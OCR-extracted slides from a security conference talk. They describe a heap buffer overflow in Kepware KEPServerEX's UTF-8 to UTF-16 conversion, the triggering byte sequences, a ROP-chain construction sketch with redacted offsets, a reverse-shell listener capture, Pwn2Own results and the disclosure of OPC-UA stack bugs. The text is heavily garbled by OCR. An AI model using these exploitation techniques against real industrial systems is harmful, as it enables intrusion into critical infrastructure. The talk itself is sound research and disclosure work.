UTF-16LE (1200)
To Hex
Delimiter Bytes per line

Space 0
Oc d8 d4 dc

BlueHat IL



Can be quite complex and prone to
bugs so why not implement by our
selves?

hint: CVE-2020-27263
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Istruct al * cdecl CUtf8String::ToWide(struct al *struct for cstring, char *input_string)
24
3 unsigned int number of utf16 code units; // eax
struct_al *result; // eax

number_of utfl6_code units = CUtf8String::GetUtfl6Length(input_string);
struct_for_cstring->number_of_utfl6_code_units = 0;
struct_for_cstring->lenght = 7;
LOWORD(struct_for_cstring->pointer_to heap allocated buffer) = 0;
PERFORM_ALLOCATIONS(struct_for_cstring, number_of utfl6_code units, 0);
result = struct _for _cstring;
if ( !struct _for cstring->number of utfl6 code units )

return result;
if ( struct _for_cstring->lenght >= 8u )

result = (struct_al *)struct_for_cstring->pointer_to_heap allocated_ buffer;
CUtf8String::ToWide(input_string, (char *)result);
result = struct for cstring;
return result;

BTt P
9 Eas




Istruct al * cdecl CUtf8String::ToWide(struct al *struct for cstring, char *input_string)
24
32 unsigned int number of utf16 code units; // eax

4 struct_al *result; // eax

5

5  number_of_utfl6 code unifts—= CUtf8String::GetUtfl6Length(input_string);
——r L _+t0or cctring _Snimhor of ntfl1e code 1inite — O«

number of utflé code units = CUtf8String::GetUtfl6Length(input string);

PERFORM_ALLOCATIONS(Struct_for_cstring, number_of_ULT16_code _units, 0),
11 result = struct for cstring;
12 if ( !struct for _cstring->number of utfl6 code units )
13 return result;
14 if ( struct _for_cstring->lenght >= 8u )
15 result = (struct_al *)struct_for_cstring->pointer_to_heap allocated_ buffer;
16 CUtf8String::ToWide(input string, (char *)result);
17 result = struct for cstring;
18 return result;

19}




Istruct al * cdecl CUtf8String::ToWide(struct al *struct for cstring, char *input_string)
24

32 unsigned int number of utf16 code units; // eax

4 struct_al *result; // eax

5

Strucc_tor_cscring->trengnc = 7,
LOWORD(struct_for_cstring->pointer_to heap allocated buffer) = 0;

PERFORM_ALLOCATIONS(struct_for_cstring, number_of utfl6_code units, 0); =
result = struct _for _cstring;
if ( !struct _for cstring->number of utfl6 code units )
return result;
if ( struct _for_cstring->lenght >= 8u )
result = (struct_al *)struct_for_cstring->pointer_to_heap allocated_ buffer;
CUtf8String::ToWide(input_string, (char *)result);
result = struct for cstring;
return result;




Istruct al * cdecl CUtf8String::ToWide(struct al *struct for cstring, char *input_string)

24

32 unsigned int number of utf16 code units; // eax
struct_al *result; // eax

number_of utfl6_code units = CUtf8String::GetUtfl6Length(input_string);
struct_for_cstring->number_of_utfl6_code_units = 0;
struct_for_cstring->lenght = 7;
LOWORD(struct_for_cstring->pointer_to heap allocated buffer) = 0;
PERFORM_ALLOCATIONS(struct_for_cstring, number_of utfl6_code units, 0);
result = struct _for _cstring;

Echar *ireﬁultj;

CUtf8String::ToWidg(input_strng, zchar *Sresult); -
result = struct for cstring;
return result;




lint _ cdecl cutfastring::GetutflelLength{const char *input_string)
2{

iﬁ? Cutf8String: :Getutfle6Length(const char *input string)
unsig
;ggi is_utFIE_Four_Eytes; /] ecx

string_ptr = input_string;
result lenght = 8;
if ( linput_string )
return result lenght;
current_char = *input_string;
it { *input string )
{
do
{
number utf8 code units = (unsigned __intE}hum_utFB_units_lﬂﬂkup_tahle[current_char];
string_ptr += number_utf8_ code_units;
is utfle four bytes = number utf8 code units > 3;
current_char = *string_ptr;
result lenght += is utfle four bytes + 1;
}
while ( *string_ptr );
}

return result lenght;




__cdecl cutfastring::GetutfieLength({const char *input_string)

const char *string_ptr; // edx

int result lenght; // esi

unsigned __int8 current_char; // al
unsigned int number utf8 code units; // eax
BOOL is_utfil6_four_bytes; // ecx

string_ptr = input_string;
result lenght = 8;
if ( linput_string )

return result lenght;
current_char = *input_string;
it { *input string )
{

do

{

number utf8 code units = (unsigned __intE}hum_utFB_units_lﬂﬂkup_tahle[current_char];
string_ptr += number_utf8_ code_units;
is utfle four bytes = number utf8 code units > 3;
current_char = *string_ptr;

result lenght += is utfle four bytes + 1;

}

while { *string ptr ); °
: . Until NULL
return result lenght;

it o B e B
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__cdecl cutfastring::GetutfieLength({const char *input_string)

const char *string_ptr; // edx

int result lenght; // esi

unsigned __int8 current_char; // al
unsigned int number utf8 code units; // eax

(= all

current_char = *input_string;
it { *input string )

{
{

do

}
}

while ( *string ptr );

return result_lenght; '
— ‘ " " s
%’ ?.’ / m 5“:,;

ie kL1 Lmnim bhutacs F1 asw

o . ot Aol 7 et o el e fa -

number utf8 code units = (unsigned __intE}hum_utFB_units_lﬂﬂkup_tahle[current_char];
string_ptr += number_utf8_ code_units;

is utfle four bytes = number utf8 code units > 3;

current_char = *string_ptr;

result lenght += is utfle four bytes + 1;

B e e o




__cdecl cutfastring::GetutfieLength({const char *input_string)

const char *string_ptr; // edx

int result lenght; // esi

unsigned __int8 current_char; // al
unsigned int number utf8 code units; // eax
BOOL is_utfie_four_bytes; // ecx

string ptr = input string:

number utf8 e units = (unsigned __intE}hum_utFB_units_lnnkup_table[current_char];
string_ptr += number_utf8_ code_units;

is utfle four bytes = number utf8 code units > 3;

current_char = *string_ptr;

result lenght += is utfle four bytes + 1;

while ( *string ptr );
}

return result lenght;




| calculate_UTF16_length(char* utf8_str):

while *utf8_str:

num_code_units = get_utf8_code_units(*utf8_str)

utf8 str += num_code units

utf16_length += get_utf16_code_units(*utf8_str)
return utf16_length
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Example - pointer advancement s

{41 4141 ¢3 80 00 }

. String: AAA - \x41\x41\x41 \X00







What will happen if we will provide the following char sequence?

Pointer advancement - skip the null

{41 41 41 c3 00 }

3
P
: i
3
3
.




- When will the function stop?
~ - When NULL is encountered while parsing.

What if we provide the following input?

41 41 41 41 41 41 431 41 41 41 41 41 41 41 41 41 41

. (41 41 41 c3 @0 41 41 41 41 41 41 41 41 41 41 41 41 |

B 41 41 43 43 41 43 41 41 41 41 41 41 41 41 41 41 41 [
B 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ...



curr_byte_from_input_string = *ptr_to_input_string;

v5 = x(unsigned __int8 x)ptr_to_input_string;

value_from_conversion_table = (unsigned __int8)num_utf8_units_lookup_table[v5];
if ( value_from_conversion_table >=4 ) { ... }

else if ( value_from_conversion_table > 1 )

{

} -:--l-r.\ew_utflﬁ_byte; S a m e B u g H e re !

else

{

*new_utfl6_byte = curr_byte_from_input_string;
++new_utfl6_byte;
}
ptr_to_input_string += value_from_conversion_table;
¥
while ( xptr_to_input_string );
}
}




PTC Kepware RCE - The Old Bug

#1 | +1 | #1  +2 1 [+ +1 +1 +1 | +1

41/41(41|c3(00 |41 41 4141 4141
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CVE-2020-27263
The bug was fixed in the
size calculation function



O 00N O\

unsigned int number_utf8 code units; // eax
bool is utfil6_four bytes; // cf

string ptr = input_string;
result_lenght = 0;
if ( !input_string )
return 0;
pointer_ to_last byte = &input_string[strlen(input_string) + 1];
current_char = *input_string;

if ( !*input_string )
return 0;
do

{

number_utf8 code units = (unsigned __ int8)number_utf8 code_units_lookup_table[current_char];
string ptr += number_ utf8 code units;

break;
is_utf16_four_bytes = number_utf8_code_units > 3;
current_char = *string ptr;
result lenght += is utfl16_four_bytes + 1;

}
while ( *string ptr );

return result_lenght; g PA_ o > !
,M, ";-f'\: ZL;;‘
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___cdecl CuUtf8String::GetUtfl6lLength(const char *input_string) 'ﬂ

const char *string ptr; // edx

int result_lenght; // esi

const char *pointer_to_last_byte; // ecx
unsigned __int8 current_char; // al
unsigned int number_ utf8 code units; // eax
bool is utfil6_four bytes; // cf

string ptr = input_string;
result_lenght = ©;
if ( !input_string )
return 0;
pointer_ to_last byte = &input_string[strlen(input_string) + 1];
current_char = *input_string;
if ( !*input_string )
return 0;
do i

{

s it >~ ¢

»
s . e r Bl d A e g

number_utf8 code units = (unsigned __ int8)number_utf8 code_units_lookup_table[current_char];
string ptr += number_ utf8 code units;

break;
is_utf16_four_bytes = number_utf8_code_units > 3;
current_char = *string_ptr;
result lenght += is utfl16_four_bytes + 1;

A Until NULL

return result_lenght;
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___cdecl CuUtf8String::GetUtfl6lLength(const char *input_string)

const char *string ptr; // edx

int result_lenght; // esi

const char *pointer_to_last_byte; // ecx
unsigned __int8 current_char; // al
unsigned int number_ utf8 code units; // eax
bool is utfil6_four bytes; // cf

string ptr = input_string;
reciilt lencht = 0O-

number_utf8 codeNgnhits = (unsigned __ int8)number_utf8 code_units_lookup_table[current_char];
string ptr += number utf8 code units;

break;
is_utf16_four_bytes = number_utf8_code_units > 3;
current_char = *string_ptr;
result lenght += is utfl16_four_bytes + 1;
i
while ( *string_ptr );
return result_lenght;




1int _ cdecl CUtf8String::GetUtfl6Length(const char *input _string) 'ﬁ

const char *string ptr; // edx

int result_lenght; // esi

const char *pointer_to_last_byte; // ecx
unsigned __int8 current_char; // al
unsigned int number_ utf8 code units; // eax
bool is utfil6_four bytes; // cf

5

string ptr = input_string;
reciilt lencht = 0:

AT TR~

W

o T tlEER AL o Sliala

N

number_utf8 code units = (unsigned __ int8)number_utf8 code_units_lookup_table[current_char];
string ptr += number_ utf8 code units;

break;
is_utf16_four_bytes = number_utf8_code_units > 3; .
current_char = *string_ptr;
result lenght += is utfl16_four_bytes + 1;
i 1
while ( *string_ptr ); v
return result_lenght; ‘




___cdecl CuUtf8String::GetUtfl6lLength(const char *input_string) -

const char *string ptr; // edx

int result_lenght; // esi |
const char *pointer_to_last byte; // ecx
unsigned __ int8 current_char; // al
unsigned int number_ utf8 code units; // eax
bool is_utfl6_four_ bytes; // cf

ctnina ntn — dAnniit ctninas

i AnpuL o g

return 0;

B
-

-

number_utf8 Yode units = (unsigned __ int8)number_utf8 code_units_lookup_table[current _char];
string ptr += number utf8 code units;

A

-

break;
is_utf16_four_bytes = number_utf8_code_units > 3;
current_char = *string_ptr;
result lenght += is utfl16_four_bytes + 1;
;
while ( *string_ptr );
return result_lenght;




15;%.{ calculate_UTF16_length(char* utf8_str):

utf8 str end = &utf8 str[strlen(utf8 str) + 1]
while *utf8_str:

num_code_units = get_utf8_code_units(*utf8_str)

-
%t
R~ oo Y Fad i W T S , W
R RS Y S AT R AP s 10
- L R R S O
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utf8 str += num_code units

If utf8 str > utf8 str end ; break

utf16_length += get_utf16_code_units(*utf8_str)

return utf16_length




When will the function stop? i
- When NULL is encountered while parsing.
- And the working PTR is smaller than end of string.

What if we provide the following input?
(41 41 41 c3 00 x
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ptr_to_input_string = (char *)input_string_ptr;
curr_byte_from_input_string = *input_string_ptr;
if ( *input_string_ptr )
{
ptr_to_struct_for_cstring struct_for_cstring_ptr;
do
{

value_from_conversion_table = (unsigned __int8)num_utf8_code_units_lookup_table[curr_byte_from_input_string];

...TO_WIDE_CODE...

ptr_to_input_string += value_from_conversion_table;
*(_WORD x)ptr_to_struct_for_cstring = new_utfl6_byte;
ptr_to_struct_for_cstring += 2;
curr_byte_from_input_string = *ptr_to_input_string;

}

while ( *ptr_to_input_string );

¥
}




void _ _cdecl CUtf8String::ToWide(const char *input_string_ptr, char xstruct_for_cstring_ptr)

{

ptr_to_input_string = (char *)input_string_ptr;
curr_byte_from_input_string = *input_string_ptr;
if ( *input_string_ptr )
{
ptr_to_struct_for_cstring = struct_for_cstring_ptr;
do
{

value_from_conversion_table = (unsigned __int8)num_utf8_code_units_lookup_table[curr_byte_from_input_string];

...TO_WIDE_CODE...

ptr_to_input_string += value_from_conversion_table;
*(_WORD x)ptr_to_struct_for_cstring = new_utfl6_byte;
ptr_to_struct_for_cstring += 2;
curr_byte_from_input_string = *ptr_to_input_string;

, while ( *ptr_to_input_string ); — Uﬂtl' NULL

}




void _ _cdecl CUtf8String::ToWide(const char *input_string_ptr, char xstruct_for_cstring_ptr)

{

ptr_to_input_string = (char *)input_string_ptr;
curr_byte_from_input_string = *input_string_ptr;

if ( *input_string_ptr ) Get number Of COde unlts

{

ptr_to_struct_for_cstring = struct_for_cstring_ptr; /

do

{
value_from_conversion_table = (unsigned __int8)num_utf8_code_units_lookup_table[curr_byte_from_input_string];

...TO_WIDE_CODE...

ptr_to_input_string += value_from_conversion_table;
*(_WORD x)ptr_to_struct_for_cstring = new_utfl6_byte;
ptr_to_struct_for_cstring += 2;
curr_byte_from_input_string = *ptr_to_input_string;

}

while ( *ptr_to_input_string );

¥
}




void __cdecl CUtf8String::ToWide(const char xinput_string_ptr, char xstruct_for_cstring_ptr)

{

ptr_to_input_string = (char *)input_string_ptr;
curr_byte_from_input_string = xinput_string_ptr;
if ( *input_string_ptr )
{
ptr_to_struct_for_cstring struct_for_cstring_ptr;
do

{
value_from_conversion_table = (unsigned __int8)num_utf8_code_units_lookup_table[curr_byte_from_input_string];

.. T0_WIDE_CODE...

ptr_to_input_string += value_from_conversion_table; <«
*(_WORD x)ptr_to_struct_for_cstring = new_utfl6_byte;
ptr_to_struct_for_cstring += 2;
curr_byte_from_input_string = *ptr_to_input_string;

}

while ( *ptr_to_input_string );

) Increment the ptr of a UTF8 str accordingly
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PTC Kepware RCE - The New Bug

#4142+ +1 #1 +1

4141]41(c300 [4141 4141 41/41

Buffer Overflow

00 410041 00 4100 410000

o N e o




We have a heap buffer-overflow with
iInput (somewhat) controlled by us!
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Fortunately the bug is triggered on both READ_TAG
and WRITE TAG functions

We have heap OOB (read+write)
OOB read — leak pointers to defeat ASLR
OOB write — construct ROP chain, RCE and PWN



PTC Kepware RCE - OOB Read

v Dpcla Service : Encodeable Object
» Typeld : ExpandedNodeId
v ReadResponse
» ResponseHeader: ResponseHe
v Results: Array of DataValu
ArraySize: 1
v [@8]: DataValue
» EncodingMask: @x@8d, has value, has source timestamp, has server timestamp

» Value: Variant
Variant Type: String (@x8c)

String: aalh<\U@@@BSA2C@82\
SourceTimestamp: Feb 15, 2822 14:29:33.49852618@ GMT Standard Time
ServerTimestamp: Feb 15, 2822 14:29:33.49852618@ GMT Standard Time
» DiagnosticInfos: Array of DiagnosticInfo

aoe0  4d 53 47 46 5f @@ 80 @@ 4b 74 a2 6d @1 ©° 98 80
G910 @4 B2 @0 @9 85 @@ 99 @9 ©1 98 7a B2 2d 16 67 73
A026 78 22 d8 @1 41 @@ 99 @@ ©P 99 90 °O @0 °P 08 8P
@836 ©@ 80 0 @0 01 @0 60 6@ 6d oc od 00 o0 oo FIE
0o 2d 16 67 73 78
a950 22 d8 @1 2d 16 67 73 78 22 d8 91 @ 88 80 @8

BlueHat IL
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- We have the pointers to start our ROP chain!

- To construct the ROP chain we need to tweak the
decoding in a way that we will able to control the
whole payload. %

UTF8 > UTF16
: mspaint - m S P a i n t |

o

;
A% g
7t s
$ 3 ¥
E. Ae_..“”, o PR 433
A .



Let’s see how our input should look like

DESIRED_ROP_PAYLOAD — DECODE(UTF16) —
ENCODE(UTFS8)

|
In [26]: b'mspaint.exe\x?0'.decode("utf-16-1e").encode("utf-8") ~i
- Out[26]: b'"\xe7\x8d\xad\xe6\x85\xb0\xe6\xb9\xa9\xe2\xb9\xb4\xe7\xal\xa5e" 3

; ToWide b'\xe7\x8d\xad\xeo\x&5\xb0\xe6\xb9\xa9\xe2\xb9\xb4\xe7\xal\xa5e

-

)= mspaint.exe
4
a
;

4 by i




if kep_version == KEPWARE_VERSION_OLD:
eax = get_encoded_address(libua_base + 0Oxag =)

- Building clae:

eax = get_encoded_address(libua_base + Oxm = y)

edx = get_encoded_address(ucrt_base + Ox= wm=u)

Ou r RO P edx += get_encoded_address(libua_base + 0x & w )
4 ebx = get_encoded_address(ucrt_base + Oxe= =m)

C h a | n o ebp = get_encoded_address(libua_base + Ox/« = )

ebp += get_encoded_address(libua_base + 0xi m'u:)

edi = get_encoded_address(ucrt_base + Ox'summ)

edi += get_encoded_address(libua_base + 0x & )

if kep_version == KEPWARE_VERSION_OLD:
. pushad = get_encoded_address(libua_base + @xi& ™ )
o else:
“ pushad = get_encoded_address(ucrt_base + oximmm)

mspaint_encoded = b'mspaint.exe\x00"'.decode("utf-16-1e").encode("utf-8")
mspaint_string = b'\xe7\x8d\xad\xe6\x85\xb0\xe6\xb9\xa9\xe2\xb9\xb4\xe7\xal\xa5e"




o

R L

s nc 14242
urikatz@Uris-MacBook-Pro > nc -1 4242
Microsoft Windows [Version 16.6.19644.1526]
(c) Microsoft Corporation. ALl rights reserved.

C:\Windows\system32>whoanmi
whoani
nt authority\system

C:'\Windows\system32>}

:\Windows\system32>whoami

Lteaked (4 bytes): 616161dr8083ce

T whoami
round serebnsadti ot ssireses ol NV i"thﬂﬂtﬂsystm

-] Found 14ibua.dll address: 0x6eb8889
] Calculating pointers: get_proc_addr

ting reverse shell payloads

S

POP#X
‘t###### | #####ﬁ##ﬁ
r e I r I a Z 8POP#XCHG#PAYLOAD

2432 Microsaht Eoge Mcroson
7048 Notepad<+ - & e (GFL) se . Don MO 6
TAE Vet Managemart Core Meriaef

¢X 4332 Wcrosch Mansgement Cons . Microson .

i



E SUCCESS - The Claroty Research ( ) team of Noam Moshe, Vera Mens, Amir
| Preminger, Uri Katz, and Sharon Brizinov needed a little time, but they did get their amazing
buffer overrun chain to achieve code execution against Kepware KEPServerEx. They earned

| $20,000 and 20 Master of Pwn points.
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Pwn20wn Results



Pwn20wn Results

Contestant Points
Computest 90
Incite Team 80
Claroty Research 45
Piotr Bazydto 45
Flashback Team 40
20urdjk 25
@_s_n_t from @pentestltd 20
Axel 'OverclOk’ Souchet 20
Ben McBride 20

JFrog Security Research 10

!l

Christopher Hernandez

BlueHat IL



Bought ($5,875): 7
Nope (collision): 2 =7
Tried to sell to ZDI: 9

Success (4 full, 2 collision): 6

Money ($45k): 6

Bugs found: 27 Bugs: 27 Used in Pwn20wn: 7
Failed: 1
Money ($1k): 1
Disclosed privately: 7 Confirmed: 7
Abandoned: 4 I not interesting: 4






- Pwn20wn was a good incentive to study OPC-
UA. Why not helping a bit more?

- OPCUA is a popular protocol, thus many open
source implementations

- Stradegy:
- Use the "problematic” payloads used on
Pwn20wn targets
- Use created corpuses (by AFL and libFuzzer).
Send the payloads and see if there is a crash

97 ,’9‘ ’l. 3
] A

kS

L



- Setting up 16 open-source/products with different OPC-
UA protocol stacks
- C, Cpp, .NET, Java, Python, NodelS, Rust...
- Check for vulnerabilities
- Client framework with our attack payloads
- Use our fuzzing infrastructure + corpuses
- Again.. created setup for each target
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- |t was a long process contacting all the maintainers
(Snyk helped us, thanks!)

‘3 SharonBrizinov commented on May 23, 2022 @ -

Shai

We vy

Addi
you|

Thar
Tean
https:f/claroty.c

We would like to responsibly report on a vulnerability we found in freeopcua (cpp). Where should we send our detailed

report?

(3

SharonBrizinov commented on May 23, 2022 ) -

We would like to responsibly report on a vulnerability we found in python opcua. Where should we send our detailed report?

Additionally | would like to suggest adding a security policy to the repository to help other security researchers reach out to
you properly.

Thanks!
Team82 Claroty Research
https://claroty.com/fteam82/




- But eventually everything

was properly fixed!

- 16 OPC-UA protocols
stacks

- Being used by hundreds
of products

- Being used by millions of
devices/software

Unlimited Monitored Items - Resource Exhaustion (Denial of service
vulnerability)

{ Maderate ) eclipsewebmaster published GHSA-fph9-f5r6-vhqf on Sep 7, 2022

Package Affected versions

! org.eclipse.milo:sdk-server (Maven) <0.6.8

Description

Impact

Denial of Service

Details

OPC UA specification describes a concept named Subscriptions. Subscriptions monitor a set of Monitored ltems for Notifications
and return them to the Client in response to Publish requests. The server notifies the client about changes only in case the value is
changed. Each monitored item is configured on a subscription, each subscription is linked to a single OPC UA session. Most OPC
UA implementations set many controls and limitations for excessive memory consumption. For example:

e PPV o P P ~L

r



A RRNAT v LRSI T« 225 TR

Complex Deep Unlimited Function Call

A Worker Long Chunks . . UTF8 - UTF16 | Other / Fuzzed
Stack/Application Mame Hastal::l:sariants Starvation DoS DoS Mumtunr:g Items | from nnl:lu:'xlst C rsions Corp

CVE-2022-21208 CVE-2022-24375

CVE-2022-25761
I cVE-2022-24298

CVE-2022-25304
CVE-2022-25304
"
CVE-2022-24381
CVE-2022-25888

<

node-opcua CVE-2022-25231

open62541
freeopcua (c++)
python-opcua
opcua-asyncio
eclipse-milo
ASNeG OpcUaStack
locka39 CVE-2022-25903
Unified Automation
OPC Foundation .MET Stack
Softing OPC UA SDK
Prosys OPC UA CVE-2022-30551
OPC UA Legacy Java Stack CVE-2022-30551 v
Kepware KEPServerEX -
S20PC

LibUA,
TOTAL UNIQUE CVEs

CVE-2022-25302

CVE2022:25231
v
v
v
v
v
CVE2022:25302
v

TS| S| <|<|<|<

S| S| S| | | < <] =<

CVE-2022-29864

<

||| ||| S| <|<|<|<







- OPC-UA is a key protocol in the industrial ecosystem
- We helped securing OPC-UA by breaking it
- 27 OPC-UA 0day during pwn2own

- 16 OPC-UA 0Odays after pwn2own (open-source protocol
stacks)

K - Bug bounties and hacking competitions helps to improve

i‘,;

" Be e 2o e :
security el



So there are no more
OPC-UA bugs, right?






PRIZES | POINTS

Claroty Research (Team82) $98,500

Team ECQ

LEADERBOARD

20urdjk

.
b
v
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i

STAR Labs

= MASTER OF PWN
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Axel Souchet
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